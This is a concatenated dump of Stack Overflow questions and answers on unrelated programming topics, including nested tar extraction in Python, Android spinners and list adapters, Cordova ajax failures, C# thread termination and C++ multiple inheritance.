</code></pre> <p>Although I have provided plenty of documentation in my code below, I would just brief out the structure of my program. Here are the functions I have defined - </p> <pre><code>FileExtension --&gt; returns the extension of a file AppropriateFolderName --&gt; helps in preventing overwriting/replacing of already existing folders (how? you will see it in the program) Extract --&gt; extracts a .tgz file (safely) WalkTreeAndExtract - walks down a directory (passed as parameter) and extracts all .tgz files(recursively) on the way down. </code></pre> <p>I cannot suggest changes to what you have done, as my approach is a bit different. I have used <code>extractall</code> method of the <code>tarfile</code> module instead of the bit complicated <code>extract</code> method as you have done. (Just have glance at this - <a href="http://docs.python.org/library/tarfile.html#tarfile.TarFile.extractall" rel="nofollow">http://docs.python.org/library/tarfile.html#tarfile.TarFile.extractall</a> and read the warning associated with using <code>extractall</code> method. I don`t think we will be having any such problem in general, but just keep that in mind.)</p> <p>So here is the code that worked for me -<br> (I tried it for <code>.tar</code> files nested 5 levels deep (ie <code>.tar</code> within <code>.tar</code> within <code>.tar</code> ... 5 times), but it should work for any depth* and also for <code>.tgz</code> files.)</p> <pre><code># extracting_nested_tars.py import os import re import tarfile file_extensions = ('tar', 'tgz') # Edit this according to the archive types you want to extract. Keep in # mind that these should be extractable by the tarfile module. def FileExtension(file_name): """Return the file extension of file 'file' should be a string. It can be either the full path of the file or just its name (or any string as long it contains the file extension.) Examples: input (file) --&gt; 'abc.tar' return value --&gt; 'tar' """ match = re.compile(r"^.*[.](?P&lt;ext&gt;\w+)$", re.VERBOSE|re.IGNORECASE).match(file_name) if match: # if match != None: ext = match.group('ext') return ext else: return '' # there is no file extension to file_name def AppropriateFolderName(folder_name, parent_fullpath): """Return a folder name such that it can be safely created in parent_fullpath without replacing any existing folder in it. Check if a folder named folder_name exists in parent_fullpath. If no, return folder_name (without changing, because it can be safely created without replacing any already existing folder). If yes, append an appropriate number to the folder_name such that this new folder_name can be safely created in the folder parent_fullpath. Examples: folder_name = 'untitled folder' return value = 'untitled folder' (if no such folder already exists in parent_fullpath.) folder_name = 'untitled folder' return value = 'untitled folder 1' (if a folder named 'untitled folder' already exists but no folder named 'untitled folder 1' exists in parent_fullpath.) folder_name = 'untitled folder' return value = 'untitled folder 2' (if folders named 'untitled folder' and 'untitled folder 1' both already exist but no folder named 'untitled folder 2' exists in parent_fullpath.) """ if os.path.exists(os.path.join(parent_fullpath,folder_name)): match = re.compile(r'^(?P&lt;name&gt;.*)[ ](?P&lt;num&gt;\d+)$').match(folder_name) if match: # if match != None: name = match.group('name') number = match.group('num') new_folder_name = '%s %d' %(name, int(number)+1) return AppropriateFolderName(new_folder_name, parent_fullpath) # Recursively call itself so that it can be check whether a # folder named new_folder_name already exists in parent_fullpath # or not. else: new_folder_name = '%s 1' %folder_name return AppropriateFolderName(new_folder_name, parent_fullpath) # Recursively call itself so that it can be check whether a # folder named new_folder_name already exists in parent_fullpath # or not. else: return folder_name def Extract(tarfile_fullpath, delete_tar_file=True): """Extract the tarfile_fullpath to an appropriate* folder of the same name as the tar file (without an extension) and return the path of this folder. If delete_tar_file is True, it will delete the tar file after its extraction; if False, it won`t. Default value is True as you would normally want to delete the (nested) tar files after extraction. Pass a False, if you don`t want to delete the tar file (after its extraction) you are passing. """ tarfile_name = os.path.basename(tarfile_fullpath) parent_dir = os.path.dirname(tarfile_fullpath) extract_folder_name = AppropriateFolderName(tarfile_name[:\ -1*len(FileExtension(tarfile_name))-1], parent_dir) # (the slicing is to remove the extension (.tar) from the file name.) # Get a folder name (from the function AppropriateFolderName) # in which the contents of the tar file can be extracted, # so that it doesn't replace an already existing folder. extract_folder_fullpath = os.path.join(parent_dir, extract_folder_name) # The full path to this new folder. try: tar = tarfile.open(tarfile_fullpath) tar.extractall(extract_folder_fullpath) tar.close() if delete_tar_file: os.remove(tarfile_fullpath) return extract_folder_name except Exception as e: # Exceptions can occur while opening a damaged tar file. print 'Error occured while extracting %s\n'\ 'Reason: %s' %(tarfile_fullpath, e) return def WalkTreeAndExtract(parent_dir): """Recursively descend the directory tree rooted at parent_dir and extract each tar file on the way down (recursively). """ try: dir_contents = os.listdir(parent_dir) except OSError as e: # Exception can occur if trying to open some folder whose # permissions this program does not have. print 'Error occured. Could not open folder %s\n'\ 'Reason: %s' %(parent_dir, e) return for content in dir_contents: content_fullpath = os.path.join(parent_dir, content) if os.path.isdir(content_fullpath): # If content is a folder, walk it down completely. WalkTreeAndExtract(content_fullpath) elif os.path.isfile(content_fullpath): # If content is a file, check if it is a tar file. # If so, extract its contents to a new folder. if FileExtension(content_fullpath) in file_extensions: extract_folder_name = Extract(content_fullpath) if extract_folder_name: # if extract_folder_name != None: dir_contents.append(extract_folder_name) # Append the newly extracted folder to dir_contents # so that it can be later searched for more tar files # to extract. else: # Unknown file type. print 'Skipping %s. &lt;Neither file nor folder&gt;' % content_fullpath if __name__ == '__main__': tarfile_fullpath = 'fullpath_path_of_your_tarfile' # pass the path of your tar file here. extract_folder_name = Extract(tarfile_fullpath, False) # tarfile_fullpath is extracted to extract_folder_name. Now descend # down its directory structure and extract all other tar files # (recursively). extract_folder_fullpath = os.path.join(os.path.dirname(tarfile_fullpath), extract_folder_name) WalkTreeAndExtract(extract_folder_fullpath) # If you want to extract all tar files in a dir, just execute the above # line and nothing else. </code></pre> <p>I have not added a command line interface to it. I guess you can add it if you find it useful.</p> <p>Here is a slightly better version of the above program -<br> <a href="http://guanidene.blogspot.com/2011/06/nested-tar-archives-extractor.html" rel="nofollow">http://guanidene.blogspot.com/2011/06/nested-tar-archives-extractor.html</a></p>
39453810	0	 <p>Have you added this to your manifest?</p> <pre><code>&lt;manifest ... &gt; &lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /&gt; ... &lt;/manifest&gt; </code></pre> <p>Also, to be sure you have enable the location update in your phone setting, you can prompt the user to enable it <a href="https://developers.google.com/android/reference/com/google/android/gms/location/SettingsApi" rel="nofollow"><strong>using this method</strong></a></p>
8625308	0	 <pre><code>var months = new Array("jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec"); var ddSplit = '12/23/2011'.split('/'); //date is mm/dd/yyyy format alert(ddSplit[1]+'-'+months[ddSplit[0]-1] + '-' + ddSplit[2]) </code></pre>
18072451	0	How to get id from selecting its value in spinner? <p>I want to get the id of the value selected in the spinner who's value is derived from Sqlite.</p> <p>My table in Sqlite is </p> <p>CITY_ID CITY_NAME <BR></p> <p>8 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BOMBAY <BR> 9 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NEW DELHI <BR> 10 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MADRAS <BR> 11 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CALCUTTA <BR> 12 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BANGLORE <BR> 13 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AHMEDABAD <BR> 14 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JAIPUR <BR> 15 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CHANDIGARH <BR> 16 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SIMLA <BR> 17 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LUCKNOW <BR> 18 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PATNA <BR> 19 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BHOPAL <BR> 20 &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; NAGPUR <BR></p> <p>My Database Connector code is</p> <pre><code>public List&lt;String&gt; getCity(){ List&lt;String&gt; labels = new ArrayList&lt;String&gt;(); String selectQuery = "SELECT CITY_ID, CITY_NAME FROM city_list"; Log.d("Destination Country Query", selectQuery); SQLiteDatabase db = this.getReadableDatabase(); Cursor cursor = db.rawQuery(selectQuery, null); if (cursor.moveToFirst()) { do { labels.add(cursor.getString(1)); } while (cursor.moveToNext()); } cursor.close(); db.close(); return labels; } </code></pre> <p>My implementation is </p> <pre><code>city = (Spinner) findViewById(R.id.city); loadCityData(); private void loadCityData() { DatabaseConnector db = new DatabaseConnector(getApplicationContext()); List&lt;String&gt; lables = db.getCity(); ArrayAdapter&lt;String&gt; dataAdapter = new ArrayAdapter&lt;String&gt;(this, android.R.layout.simple_spinner_item, lables); dataAdapter .setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); city.setAdapter(dataAdapter); } </code></pre> <p>Now by selecting the City in the spinner. I want to get the id from the SQlite table.</p> <p>Can some one guide me to achieve this.</p> <p>Thanks in advance.</p> <p>Regards, Dinesh</p>
9145911	0	 <p>You probably want to move your whiteLine subview initialization to <code>initWithStyle:reusedIdentifier:</code> Currently you set up the alpha before it gets instantiated. Also, you're creating a new view every time drawRect: is called, which definitely is a no-no as well.</p> <p>I'm not currently at the compiler, but something like this should solve your issue:</p> <p>Note that I also added the autorelease call to your whiteLine subview (I assume it is a retained property). You may want to consider using ARC if you're not comfortable with Cocoa Memory Management. Otherwise I suggest re-reading <a href="https://developer.apple.com/library/mac/#documentation/Cocoa/Conceptual/MemoryMgmt/Articles/MemoryMgmt.html" rel="nofollow">Apple's Memory Management</a> guide and possibly excellent <a href="http://google-styleguide.googlecode.com/svn/trunk/objcguide.xml" rel="nofollow">Google Objective-C Code Style Guide</a></p> <p>In BaseCell.m:</p> <pre><code>- (id)initWithStyle:(UITableViewCellStyle)style reuseIdentifier:(NSString *)identifier { self = [super initWithStyle:style reuseIdentifier:identifier]; if (self) { self.whiteLine = [[[UIView alloc] initWithFrame:CGRectMake(0.0, self.frame.size.height-1.0, self.frame.size.width, 1.0)] autorelease]; self.whiteLine.backgroundColor = [UIColor whiteColor]; [self addSubview:self.whiteLine]; } return self; } - (void)dealloc { self.whiteLine = nil; [super dealloc]; } - (void)rowIsOdd:(BOOL)isOdd { self.whiteLine.alpha = (isOdd ? 0.7 : 0.3); } </code></pre>
14363994	0	Android debuggable=false causing jQuery.ajax POST to fail in Cordova/Phonegap Eclipse project <p>I have an Android app built in Eclipse which uses Cordova 2.0.0. When built and loaded onto the phone using the Eclipse debugger the app works fine, but when I set android:debuggable="false" in the AndroidManifest file the jQuery.ajax() POST fails. I get nothing to tell me the failure reason in the LogCat trace.</p> <p>Here's the jQuery.ajax call:</p> <pre><code>jQuery.ajax({ url: that.endpoint, data: that.data, dataType: "json", type: "POST", contentType: "application/json", success: successHandler, error: errorHandler, timeout: serviceTimeout }); </code></pre> <p>When android:debuggable="true" it works fine and goes to the success handler, but when it android:debuggable="false" it goes to the failureHandler, with only textStatus set to "error" and nothing else to indicate why it failed. When it fails it appears that the post doesn't happen because I can see that it doesn't hit the webservice I am trying to call.</p> <p>Does anyone have any ideas why the debuggable flag might be affecting my application in this way? </p> <p>What else other than the logging level would the "debuggable" flag affect?</p> <p>Any hints or pointers would be greatly appreciated.</p> <p>Cheers</p>
22050293	0	 <p>You're very close actually:</p> <pre><code>columns.Bound(property =&gt; property.neatProperty).Width(38).EditorTemplateName("neatPropertyDropDownList").Title("NeatProperty") </code></pre> <p>And then in a separate view called "neatPropertyDropDownList.cshtml"</p> <pre><code>@using System.Collections; @(Html.Kendo().DropDownList() .Name("NeatProperty") .DataTextField("Value") .DataValueField("Text") .BindTo("don't forget to bind!") ) </code></pre>
32644740	0	 <p>If you want to generate a view with multiple model objects then you need to create a ViewModel comprising properties that are needed from those models. And then reference the view with this ViewModel.</p> <pre><code>public class Model1 { public string prop11 { get; set; } public string prop12 { get; set; } } public class Model2 { public string prop21 { get; set; } public string prop22 { get; set; } } public class ViewModel { public List&lt;Model1&gt; model1 { get; set; } public List&lt;Model2&gt; model2 { get; set; } } </code></pre> <p>Then generate the view referencing the viewmodel that will get the properties from both models.</p> <p>controller action that will be hit from that view:</p> <pre><code>public ActionResult Test(ModelView modelView) // you can access the viewmodel properties </code></pre>
34349524	0	getting error no implicit conversion of sequel <p>how to do below query in ruby sequel </p> <pre><code>table1.column1 = concat('a' + table2.column2 + 'b') </code></pre> <p>without 'a' </p> <pre><code>sequel.qualify(:table1, :column1) = concat(sequel.qualify(:table2, :column2) + 'b') </code></pre> <p>wokring properly.when adding 'a' also getting </p> <blockquote> <p>TypeError: no implicit conversion of Sequel::SQL::StringExpression into String /root/test/test.rb:13:in `+'</p> </blockquote>
814891	0	 <p>So one could make a custom control but for my app it isn't really worth the trouble.</p> <p>What I did was to create a DataGrid, made it resemble a ListView but with its own flare. I did this because the DataGrid already has a buttoncontrol built in to its cells.</p> <p>Yes I know, kind of fugly "hack", but it works like a charm! :)</p> <p>Props to Shay Erlichmen who led me into thinking outsite my ListBox. See what I did there? ;)</p>
27519683	0	 <p>The <code>input[type=file]</code> is a native browser object and can't be changed within.</p> <p>What you can try and do is create a custom wrapper.</p>
10398362	0	Membership system <p>can anyone suggest a good membership structure?</p> <p>For example, user paid for 1 month membership, starting 1.2.2012 ending 1.3.2012.</p> <p>When and where is the best way to check if user is still a member or not?</p> <p>Users are ranked with numbers in database (1-regular 2-member 3-moderator). </p>
13918646	0	presentRenderbuffer using memory? <p>I have simple drawing code like the following - repeated calls to draw several objects, followed by one call to glBindRenderbufferOES and one call to presentRenderbuffer - </p> <p>Objects draw fine, BUT - the call to presentRenderBuffer allocates a good amount of memory with each call </p> <p>I've generated and bound frame and render buffers - once - then never really do anything with them after that - </p> <p>Should I be clearing my buffers after each call to presentRenderBuffer? Or is there some other way to give back memory after calling?</p> <pre><code>// these four calls made for each object Loop over objects glVertexPointer(3, GL_FLOAT, 0, ... glTexCoordPointer(2, GL_FLOAT, ... glNormalPointer(GL_FLOAT, 0, ... glDrawArrays(GL_TRIANGLES, 0,... // then, one-time call to these glBindRenderbufferOES(GL_RENDERBUFFER_OES, viewRenderbuffer); [context presentRenderbuffer:GL_RENDERBUFFER_OES]; </code></pre>
11895514	0	 <p>you need to add this <code>"$(SDKROOT)/usr/include/libxml2"</code> in your <code>header search paths</code> and it will solve your problem!</p>
15336162	0	Shared_Ptr eates the performance of my application <p>I'm on Ubuntu, and I'm working on a computer vision application (optical flow), and I'm doing some profiling on the code using valgrind. After profiling, I found that the shared_ptr is taking 74% of the application. Kindly find the attached code that where the shared_ptr is used. I'm looking for an optimization for that. Besides that, also sprintf takes so much time, and the openMP threads also eats a lot. I'm really wondering about sprinft, and openMP cost...</p> <pre><code> int main(int argc, char *argv[]) { //QApplication a(argc, argv); omp_set_dynamic( 0 ); omp_set_num_threads( 4 ); double t1, t2; // ------------- Initialization: Frames. -------------- // Load first image char imFName[1024]; sprintf( imFName, "%s/img_%08i.png", imPath.c_str(), imIndex ); ifstream fileExists( imFName ); if (!fileExists) { printf("First image %s/img_%08i.png could not be loaded!", imPath.c_str(), imIndex); return -1; } QImagePtr prevImg; QImagePtr curImg( new QImage( QString(imFName) ) ); } </code></pre>
17220286	0	 <p>It would be pretty easy to have an external system (simple .Net app) that collects the new tickets and "synchronizes" them to CRM with a tool like Scribe/CozyRoc. </p> <p>I'm not sure if this type of "system-to-system" integration would permit standard licensing however. I have heard of Microsoft give very good deals on ESS CALs and/or granting permitted use for similar situations.</p>
36987550	0	How to Clear all the list view items of a Static Custom list view in android? <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>package com.donateblood.blooddonation; import android.app.ProgressDialog; import android.content.Intent; import android.os.AsyncTask; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.view.MenuItem; import android.view.View; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.EditText; import android.widget.Spinner; import android.widget.Toast; import com.mongodb.BasicDBObject; import com.mongodb.DB; import com.mongodb.DBCollection; import com.mongodb.DBCursor; import com.mongodb.DBObject; import java.util.ArrayList; import java.util.List; import butterknife.ButterKnife; import butterknife.InjectView; /** * Created by YouCaf Iqbal on 4/6/2016. */ public class MainGUI extends AppCompatActivity { public static ArrayList&lt;DonorPerson&gt; Donors = new ArrayList&lt;DonorPerson&gt;(); @InjectView(R.id.findppl) Button _findButton; GPSTracker gps; String bloodgroup=null; private double latitude; private double longitude; DB db; String test=""; DBCursor cursor; DBCollection collection; Database dataobj = new Database(); ArrayList allPPLlat = new ArrayList(); ArrayList allPPLlong = new ArrayList(); ArrayList allPPLNumbers = new ArrayList(); ArrayList allPPLNames = new ArrayList(); ArrayList allPPLImages = new ArrayList(); ArrayList allPPLEmails = new ArrayList(); ArrayList SelectedPPLlat = new ArrayList(); ArrayList SelectedPPLlong = new ArrayList(); public Spinner mySpinner; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.maingui); ButterKnife.inject(this); getSupportActionBar().setDisplayHomeAsUpEnabled(true); Spinner spinner =(Spinner) findViewById(R.id.spinner); String[] list = getResources().getStringArray(R.array.blood_type); ArrayAdapter&lt;String&gt; adapter = new ArrayAdapter&lt;String&gt;(this,R.layout.spinner_layout,R.id.txt,list); spinner.setAdapter(adapter); _findButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { getCurrentLatLong(); dbAsync thrd = new dbAsync(); thrd.execute(); } //distance=Distance(lablat, lablong, curlat, curlong); }); } public void getCurrentLatLong(){ gps = new GPSTracker(MainGUI.this); if (gps.canGetLocation()) { latitude = gps.getLatitude(); longitude = gps.getLongitude(); } } @Override public boolean onOptionsItemSelected(MenuItem item) { if(item.getItemId()==android.R.id.home){ finish(); } return super.onOptionsItemSelected(item); } public class dbAsync extends AsyncTask&lt;Void,Void,Void&gt;{ private ProgressDialog pDialog; @Override protected Void doInBackground(Void... voids) { getOtherLatLong(); return null; } @Override protected void onPreExecute() { super.onPreExecute(); pDialog = new ProgressDialog(MainGUI.this); pDialog.setMessage("Searching people nearby..."); pDialog.setIndeterminate(false); pDialog.setCancelable(true); pDialog.show(); } @Override protected void onPostExecute(Void aVoid) { super.onPostExecute(aVoid); pDialog.dismiss(); Intent intent = new Intent(getApplicationContext(), PeopleList.class); startActivity(intent); // Toast.makeText(getBaseContext(), "Near by latitudes "+SelectedPPLlat, Toast.LENGTH_LONG).show(); // Toast.makeText(getBaseContext(), "Near by longitudes "+SelectedPPLlong, Toast.LENGTH_LONG).show(); } } public void getOtherLatLong() { db = dataobj.getconnection(); collection = db.getCollection("UserDetails"); //mySpinner=(Spinner) findViewById(R.id.spinner); //bloodgroup = mySpinner.getSelectedItem().toString(); // BasicDBObject whereQuery = new BasicDBObject(); //whereQuery.put("employeeId", 5); cursor = collection.find(); while (cursor.hasNext()) { DBObject doc = cursor.next(); // Lats longs used in the next for Loop for calculation distances allPPLlat.add(doc.get("lat")); allPPLlong.add(doc.get("long")); // All these other arraylists are used to store object of a donor person allPPLNumbers.add(doc.get("number").toString()); allPPLNames.add(doc.get("Name").toString()); allPPLImages.add(doc.get("image").toString()); allPPLEmails.add(doc.get("email").toString()); } for(int i =0;i&lt;allPPLlat.size();i++){ double Dist= Distance((double)allPPLlat.get(i),(double)allPPLlong.get(i),latitude,longitude); Dist=Dist/1000; if(Dist&lt;20){ Donors.add(new DonorPerson(""+allPPLNames.get(i)+"", ""+allPPLEmails.get(i)+"" ,""+allPPLNumbers.get(i)+"" ,""+allPPLImages.get(i)+"")); } } } public double Distance(double lat1, double lon1, double lat2, double lon2) { double R = 6371.0; // km double dLat = (lat2 - lat1) * Math.PI / 180.0; double dLon = (lon2 - lon1) * Math.PI / 180.0; lat1 = lat1 * Math.PI / 180.0; lat2 = lat2 * Math.PI / 180.0; double a = Math.sin(dLat / 2.0) * Math.sin(dLat / 2.0) + Math.sin(dLon / 2.0) * Math.sin(dLon / 2.0) * Math.cos(lat1) * Math.cos(lat2); double c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); double d = R * c; return d * 1000; // return distance in m } }</code></pre> </div> </div> </p> <p>I have a static custom view called <code>Donors</code> declared in one of my classes called <code>MainGUI</code>. Whenever the list is displayed and I go back and reopen the list, the same list items appear twice. I know this happens because the list items are being added to the listview again when I display it without clearing all the data items shown before. What I want is a way to remove all the existing data items when I reopen the list, so that the items are not duplicated when i access it again.</p> <pre><code>public class PeopleList extends AppCompatActivity { @Override public void onBackPressed() { MainGUI.Donors.clear(); // Clear all the Donors after search // this.notifyDatasetChanged(); super.onBackPressed(); } @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.peoplelistview); getSupportActionBar().setDisplayHomeAsUpEnabled(true); populateListView(); } @Override public boolean onOptionsItemSelected(MenuItem item) { if(item.getItemId()==android.R.id.home){ // MainGUI.Donors.clear(); // Clear all the Donors after search finish(); } return super.onOptionsItemSelected(item); } private void populateListView() { ArrayAdapter&lt;DonorPerson&gt; adapter = new MyListAdapter(); ListView list = (ListView) findViewById(R.id.DonorsListView); list.setAdapter(adapter); } private class MyListAdapter extends ArrayAdapter&lt;DonorPerson&gt; { public MyListAdapter() { super(PeopleList.this, R.layout.singlelistitemview,MainGUI.Donors); } @Override public View getView(int position, View convertView, ViewGroup parent) { // Make sure we have a view to work with (may have been given null) View itemView = convertView; if (itemView == null) { itemView = getLayoutInflater().inflate(R.layout.singlelistitemview, parent, false); } // Find the Donor to work with. DonorPerson currentPerson = MainGUI.Donors.get(position); //Set the Image of the Current Donor ImageView DonorImage = (ImageView)itemView.findViewById(R.id.image); //currentPerson.getImage(); byte[] decodedString = Base64.decode(currentPerson.getImage(), Base64.DEFAULT); Bitmap decodedByte = BitmapFactory.decodeByteArray(decodedString, 0, decodedString.length); DonorImage.setImageBitmap(decodedByte); //imageView.setImageResource(currentPerson.getIconID()); /* Fill the view ImageView imageView = (ImageView)itemView.findViewById(R.id.item_icon); imageView.setImageResource(currentCar.getIconID()); */ return itemView; } } } </code></pre>
19990356	0	how to parse multiple file names and get relevant information in C# asp aspx <p>I've been trying to figure out a way for the program to read all of the files from the path or zip file as input. Than read all of the file names inside of the input folder and split it so I can get information such as what is product id and chip name. Than store the pdf file in the correct db that matches with the product id and chip name. </p> <p>The product id would be KHSA1234C and chip name LK454154.</p> <p>Example File name: N3405-H-KAD_K-KHSA1234C-542164143_LK454154_GFK.pdf</p> <pre><code>public void btnUploadAttach_Click(object sender, EventArgs e) { string fName = this.FileUploadCFC.FileName; string path = @"C:\mydir\"; string result; result = Path.GetFileNameWithoutExtension(fName); Console.WriteLine("GetFileNameWithoutExtension('{0}') return '{1}'", fName, result); result = Path.GetFileName(path); Console.WriteLine("GetFileName('{0}') return '{1}'", path, result); string[] sSplitFileName = fName.ToUpper().Split("-".ToCharArray()); foreach (char file in fName) { try { result = sSplitFileName[0] + "_" + sSplitFileName[1] + "-" + sSplitFileName[2] + "_" + sSplitFileName[3] + "_" + sSplitFileName[4] + "_" + sSplitFileName[5] + "_" + sSplitFileName[6]; } catch { return; } } } </code></pre> <p>I don't know if I'm on the right track or not. Can someone help me? Thank you.</p>
533370	0	 <p><code>Thread.Abort</code> will close the thread, of course, as it will call Win32 <a href="http://msdn.microsoft.com/en-us/library/ms686717(VS.85).aspx" rel="nofollow noreferrer"><code>TerminateThread</code></a>.</p> <p>Outcome of this action will depend on how your <code>API</code> likes to be closed by <code>TerminateThread</code>.</p> <p>If your method is called somthing like <code>NuclearPlant.MoveRod()</code> or <code>Defibrillator.Shock()</code>, I'd rather wait these 30 seconds.</p> <p>This method gives no chance to the victim to do some cleanup:</p> <blockquote> <p><code>TerminateThread</code> is used to cause a thread to exit. When this occurs, <em>the target thread has no chance to execute any user-mode code</em>. DLLs attached to the thread are not notified that the thread is terminating. The system frees the thread's initial stack.</p> </blockquote> <p>As stated in <code>MSDN</code>:</p> <blockquote> <p><code>TerminateThread</code> is a dangerous function that should only be used in the most extreme cases. You should call <code>TerminateThread</code> only if you know exactly what the target thread is doing, and you control all of the code that the target thread could possibly be running at the time of the termination. For example, <code>TerminateThread</code> can result in the following problems:</p> <ul> <li>If the target thread owns a critical section, the critical section will not be released.</li> <li>If the target thread is allocating memory from the heap, the heap lock will not be released.</li> <li>If the target thread is executing certain kernel32 calls when it is terminated, the kernel32 state for the thread's process could be inconsistent.</li> <li>If the target thread is manipulating the global state of a shared DLL, the state of the DLL could be destroyed, affecting other users of the DLL.</li> </ul> </blockquote>
34706311	0	why does every process(or any address space) has its own page table? <ol> <li><p>Why does every process (or any address space) have its own page table? </p> <ul> <li>I think that if we use a single page table for all processes, then a process can access the address apace of other processes so we need a separate page table for each process. This means the pages which actually belong to a particular process will be valid and all other pages which belong to some other's address space will be marked invalid. Am I correct? </li> <li>If yes, then why didn't we add one more field as "process ID" to the page table to distinguish the address space of every process?</li> <li>If not, why does every process (or any address space) have its own page table?</li> </ul></li> <li><p>How can multilevel paging reduce the size of the page table?</p> <ul> <li>Because we added some more page tables (in multilevel paging) as overhead, and the actual page table is also in main memory</li> </ul></li> <li><p>Suppose we did 3 levels of paging as 1 (closer to CPU)->2->3; so we have three page tables for each level. What information is included in each page table? I am worried about 3rd level page table which contains the actual frame number where data resides. Now which page tables are used by processes?</p> <ul> <li>All??? Then the 3rd level page table which contains the actual frames should be of the same size as the original page table (without multilevel) because it must have entries for all frames which are used by physical memory too.</li> </ul></li> </ol>
6544387	0	 <p>I think you have to see Density Considerations for Preventing from Scaling.</p> <p>The easiest way to avoid pre-scaling is to <code>put the resource in a resource directory</code> with the nodpi configuration qualifier. For example:</p> <pre><code>res/drawable-nodpi/icon.png </code></pre> <p>When the system uses the icon.png bitmap from this folder, it does not scale it based on the current device density.</p> <p>From <a href="http://developer.android.com/guide/practices/screens_support.html#DensityConsiderations" rel="nofollow">http://developer.android.com/guide/practices/screens_support.html#DensityConsiderations</a></p>
38984063	0	 <p>This is common phenomena occurring if the class frequencies are unbalanced, e.g. nearly all samples belong to one class. For examples if 80% of your samples belong to class "No", then classifier will often tend to predict "No" because such a trivial prediction reaches the highest overall accuracy on your train set. </p> <p>In general, when evaluating the performance of a binary classifier, you should not only look at the overall accuracy. You have to consider other metrics such as the ROC Curve, class accuracies, f1 scores and so on.</p> <p>In your case you can use sklearns <a href="http://scikit-learn.org/stable/modules/generated/sklearn.metrics.classification_report.html" rel="nofollow">classification report</a> to get a better feeling what your classifier is actually learning:</p> <pre><code>from sklearn.metrics import classification_report print(classification_report(y_test, model_1.predict(X_test))) print(classification_report(y_test, model_2.predict(X_test))) </code></pre> <p>It will print the precision, recall and accuracy for every class. </p> <p>There are three options on how to reach a better classification accuracy on your class "Yes"</p> <ul> <li>use sample weights, you can increase the importance of the samples of the "Yes" class thus forcing the classifier to predict "Yes" more often</li> <li>downsample the "No" class in the original X to reach more balanced class frequencies </li> <li>upsample the "Yes" class in the original X to reach more balanced class frequencies</li> </ul>
15005825	0	 <p>How about putting the Direction and Type as members of the enum, something like this:</p> <pre><code>public enum State { ONE_STATE(Direction.LEFT, Type.BIG), SECOND_STATE(Direction.RIGHT, Type.SMALL); THIRD_STATE(Direction.UP, Type.SMALL); private Direction direction; private Type type; private State(Direction direction, Type type) { this.direction = direction; this.type = type; } public static State getState(Direction dir, Type type) { for (State state : values()) { if (state.direction == dir &amp;&amp; state.type == type) { return state; } } return THIRD_STATE; } } </code></pre> <p>Note that this will not work if there is more than one different combination for each enum. In that case, you will need to use some sort of lookup table as suggested by another poster. For example, you could use a <code>Map&lt;Pair&lt;Direction, Type&gt;, State&gt;</code>. (Java doesn't have a <code>Pair&lt;T, U&gt;</code> class, but you can easily make one or find one in lots of different libraries.)</p>
21228301	0	 <p>Another point is Elasticache is dynamic , you can decrease/increase the memory you use dynamically, or even close the cache(and save $$) if your performance indexes are in the green.</p>
28649728	0	Devexpress LookUpEdit - serach second column by value meber <p>I want to know it is posible to filters **LookUpEdit ** dropdown list by the column that corresponds to the ValueMember value. </p> <pre><code> LookUpEdit.DataSource = ds.Tables(0) LookUpEdit.ValueMember = ds.Tables(0).Columns("VALUE").Caption.ToString LookUpEdit.DisplayMember = ds.Tables(0).Columns("DISPLAYtext").Caption.ToString LookUpEdit.View.FocusedRowHandle = DevExpress.XtraGrid.GridControl.AutoFilterRowHandle LookUpEdit.AllowFocused = True LookUpEdit.CloseUpKey = New KeyShortcut(Keys.Add) LookUpEdit.NullText = "" </code></pre> <p><strong>I using devexpress 14.2.3. and vb.net</strong></p>
3164525	0	 <p>Also you can create something like:</p> <pre><code>public class JqGridJsonData { public int Total {get;set;} public int Page {get;set;} etc } </code></pre> <p>And serialize this to json with Json.NET <a href="http://james.newtonking.com/pages/json-net.aspx" rel="nofollow noreferrer">http://james.newtonking.com/pages/json-net.aspx</a></p>
10360986	0	Classes C++. Multiple inheritance <p>I have a question about multiple inheritance. I have class A. Class A has several inheritors, for instance B,C,D.</p> <p>Class X is inheritor of classes B,C,D How can I pass parameters from the constructor of class X to the constructor of class A? </p>
